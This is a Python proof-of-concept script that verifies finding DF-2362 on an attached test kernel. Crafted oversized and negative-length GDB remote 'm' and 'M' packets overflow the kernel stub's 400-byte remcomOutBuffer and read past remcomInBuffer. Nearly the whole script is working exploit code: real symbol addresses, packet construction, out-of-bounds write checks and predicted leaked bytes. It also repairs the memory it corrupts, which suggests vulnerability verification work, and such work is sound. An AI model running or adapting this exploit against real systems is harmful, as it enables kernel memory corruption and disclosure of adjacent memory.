#!/usr/bin/env python3 -u
# poc2362.py -- DF-2362 verification: m/M packets accept unbounded length
# overflowing the 400-byte static remcomOutBuffer / reading past remcomInBuffer.
#
# Verified against the REAL stub compiled into the (rig-attached) stock
# X86_64_GENERIC kernel. All numbers from nm of the running kernel:
#   remcomOutBuffer 0xffffffff817a6f20 [400]  -> ends 0x17a70b0
#   (16B gap)
#   remcomInBuffer  0xffffffff817a70c0 [400]  -> ends 0x17a7250
#   (16B pad) buf.7900 @0x17a7260[32] dsi_debug @0x17a7280[1]
#   (pad) dummy.9261 @0x17a72c0[1024] dummy.9257 @0x17a76c0[1024]
#
# Self-interference note (why verification is structured this way):
#   every command packet we send is stored by getpacket() into
#   remcomInBuffer[0..len]; and every m-reply is written by mem2hex into
#   remcomOutBuffer[0..2*len]. So evidence inside those two buffers must be
#   read with awareness of which bytes the verification itself dirties.
#   Scratch targets for M live in dummy.9261 (BSS, zero, unused).
import sys, os, time, json
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
from rig236 import Rig, ADDRS, hx, read_mem, write_mem

ROUT = ADDRS["remcomOutBuffer"]
RIN  = ADDRS["remcomInBuffer"]
SRC  = ADDRS["gdb_handle_exception"]     # readable stub text as m-source
SCR1 = 0xffffffff817a72c0                # dummy.9261 (T2 target)
SCR2 = 0xffffffff817a74c0                # dummy.9261+0x200 (T3 target)

R = {}
rig = Rig("poc2362", "/tmp/opencode/df2362-raw.log")
p = rig.p
try:
    t05 = rig.enter_stub()
    r = p.pkt("?");  print("[+] '?' -> %r" % r)

    # ---------- T1: m overflow, length 0x108 (264) ----------
    # 528 hex chars + NUL at [528] written into remcomOutBuffer[400]:
    # bytes [400..528] are OOB (129 bytes: 16 gap + 113 into remcomInBuffer).
    before = read_mem(p, ROUT + 400, 0xc0)       # gap + Rin[0..176] baseline
    N = 0x108
    ov = p.pkt("m%s,%x" % (hx(SRC), N), timeout=30)
    R["T1_reply_len"] = len(ov or "")
    v = p.pkt("m%s,c0" % hx(ROUT + 400))          # single 192B verify read
    vb = bytes.fromhex(v)
    R["T1_gap_is_reply_tail"] = vb[0:16] == ov[400:416].encode()
    R["T1_rin22_95"] = vb[38:112] == ov[438:512].encode()
    R["T1_rin96_111"] = vb[112:128] == ov[512:528].encode()
    R["T1_nul_at_528"] = vb[128] == 0
    R["T1_tail_untouched"] = vb[129:] == before[129:]
    print("[T1] m,len=%d -> reply %d chars into 400-byte buffer" % (N, len(ov)))
    print("[T1] gap[0:16]==reply[400:416]: %s (%r)" % (R["T1_gap_is_reply_tail"], vb[:16]))
    print("[T1] Rin[22..95]==reply[438:512]: %s | Rin[96..111]==reply[512:528]: %s"
          % (R["T1_rin22_95"], R["T1_rin96_111"]))
    print("[T1] NUL at Rout+528: %s | Rout+529..592 untouched: %s"
          % (R["T1_nul_at_528"], R["T1_tail_untouched"]))
    print("[T1] => 129 bytes OOB past remcomOutBuffer end (16 gap + 113 into remcomInBuffer)")
    # repair the durable gap (Rin is refilled by every incoming packet)
    write_mem(p, ROUT + 400, bytes(16))
    chk = read_mem(p, ROUT + 400, 16)
    R["T1_gap_repaired"] = chk == bytes(16)
    print("[T1] gap repaired to zeros: %s" % R["T1_gap_repaired"])

    # ---------- T1b: m overflow, length 0x300 (768) ----------
    # 1536 chars + NUL at [1536]: 1137 bytes OOB: gap + ALL of remcomInBuffer
    # + pad + buf.7900 + dsi_debug + pad + dummy.9261[0..624].
    pre_tail = read_mem(p, RIN + 368, 760)        # [Rin+368 .. Rin+1128]
    N2 = 0x300
    ov2 = p.pkt("m%s,%x" % (hx(SRC), N2), timeout=60)
    R["T1b_reply_len"] = len(ov2 or "")
    # verify Rin part via one read at gap
    vb1 = bytes.fromhex(p.pkt("m%s,c0" % hx(ROUT + 400)))
    R["T1b_gap"] = vb1[0:16] == ov2[400:416].encode()
    R["T1b_rin22_95"] = vb1[38:112] == ov2[438:512].encode()
    # verify the durable tail [Rin+368 .. Rin+1128]: Rin[368..399] + past-end
    after_tail = read_mem(p, RIN + 368, 760)
    exp = (ov2[416 + 368:416 + 400].encode() +      # Rin[368..399]
           ov2[816:1536].encode())                  # Rin[400..1120] incl pad+neighbors
    R["T1b_tail_is_overflow"] = after_tail[:len(exp)] == exp
    R["T1b_nul_at_1536"] = after_tail[752] == 0
    R["T1b_tail_untouched"] = after_tail[753:] == pre_tail[753:]
    print("[T1b] m,len=%d -> reply %d chars; 1137 bytes OOB past the 400-byte buffer"
          % (N2, len(ov2)))
    print("[T1b] gap==reply tail: %s | Rin[22..95]: %s" % (R["T1b_gap"], R["T1b_rin22_95"]))
    print("[T1b] [Rin+368..Rout+1536] all == reply tail (crosses remcomInBuffer end, buf.7900, dsi_debug, into dummy.9261): %s"
          % R["T1b_tail_is_overflow"])
    print("[T1b] NUL at Rout+1536: %s | beyond untouched: %s"
          % (R["T1b_nul_at_1536"], R["T1b_tail_untouched"]))
    # real repair of the durable region: Rin[368..399] + Rin[400..1120]
    write_mem(p, RIN + 368, pre_tail[0:760])
    chk = read_mem(p, RIN + 368, 760)
    R["T1b_repaired"] = chk == pre_tail
    print("[T1b] durable region repaired: %s" % R["T1b_repaired"])

    # ---------- T2: M reads past the packet string end ----------
    p.buf.clear()
    p.send(b"$" + b"A" * 397 + b"#00")            # bad-checksum prefill
    m = p.wait(r"-", 10)
    R["T2_prefill_nack"] = m is not None
    data = "00112233"
    r = p.pkt("M%s,40:%s" % (hx(SCR1), data))
    got = read_mem(p, SCR1, 64)
    pred = bytes.fromhex(data) + bytes([0xfa]) + b"\xaa" * 59
    R["T2_overread_past_nul"] = (r == "OK") and (got == pred)
    print("[T2] prefill nack: %s; M len=64 data=4B reply=%r" % (R["T2_prefill_nack"], r))
    print("[T2] target got  : %s" % got.hex())
    print("[T2] predicted   : %s -> MATCH=%s (60 bytes past the packet NUL)" % (pred.hex(), R["T2_overread_past_nul"]))
    write_mem(p, SCR1, bytes(64))

    # ---------- T3: M reads past the END of remcomInBuffer[400] ----------
    pre = read_mem(p, RIN + 0x180, 0x100)          # Rin[384..640] pre-state
    datb = bytes(range(0x10, 0x10 + 188))          # 188 attacker bytes
    pkt3 = "M%s,fa:%s" % (hx(SCR2), datb.hex())
    assert len(pkt3) <= 398
    r = p.pkt(pkt3, timeout=30)
    got3 = read_mem(p, SCR2, 250)
    def hexv(c):
        ch = chr(c)
        if ch in "0123456789": return ord(ch) - 48
        if ch in "abcdef": return ord(ch) - 87
        if ch in "ABCDEF": return ord(ch) - 55
        return -1
    # hex2mem consumed 500 chars from Rin[21]: 376 data (Rin[21..396]),
    # getpacket NUL at Rin[397], pre-state Rin[398..399], then Rin[400..]
    # = past the array end (pad/buf.7900/dsi_debug/dummy...).
    src = bytearray([0]) + pre[14:16] + pre[16:]
    pred3 = bytearray(datb)
    i = 0
    while len(pred3) < 250 and 2 * i + 1 < len(src):
        pred3.append(((hexv(src[2 * i]) << 4) + hexv(src[2 * i + 1])) & 0xff)
        i += 1
    pred3 = bytes(pred3[:250])
    R["T3_read_past_array"] = (r == "OK") and (got3 == pred3)
    R["T3_bytes_beyond_data"] = 250 - 188
    print("[T3] M len=250 data=188B reply=%r" % r)
    print("[T3] got      : ...%s" % got3[180:].hex())
    print("[T3] predicted: ...%s" % pred3[180:].hex())
    print("[T3] MATCH=%s -> 62 bytes at target read from past the 400-byte remcomInBuffer end" % R["T3_read_past_array"])
    write_mem(p, SCR2, bytes(250))

    # ---------- T4: negative lengths ----------
    r = p.pkt("m%s,ffffffff" % hx(SRC))
    R["T4_m_negative"] = r
    print("[T4] m len=-1 -> %r (empty reply, no error)" % r)
    snap_s1 = read_mem(p, SCR1, 8)
    r = p.pkt("M%s,ffffffff:4141414141414141" % hx(SCR1))
    gotn = read_mem(p, SCR1, 8)
    R["T4_M_negative"] = (r, gotn == snap_s1)
    print("[T4] M len=-1 -> %r, target unchanged: %s" % (r, gotn == snap_s1))

    d = rig.detach()
    R["detach"] = d
except Exception as e:
    import traceback
    traceback.print_exc()
    try:
        rig.detach()
    except Exception:
        pass
finally:
    rig.close()

R["pass"] = bool(R.get("T1_reply_len") == 528 and R.get("T1_gap_is_reply_tail")
                 and R.get("T1_rin22_95") and R.get("T1_nul_at_528")
                 and R.get("T1b_reply_len") == 1536 and R.get("T1b_tail_is_overflow")
                 and R.get("T2_overread_past_nul") and R.get("T3_read_past_array"))
print("[RESULT] " + json.dumps(R))
sys.exit(0 if R["pass"] else 1)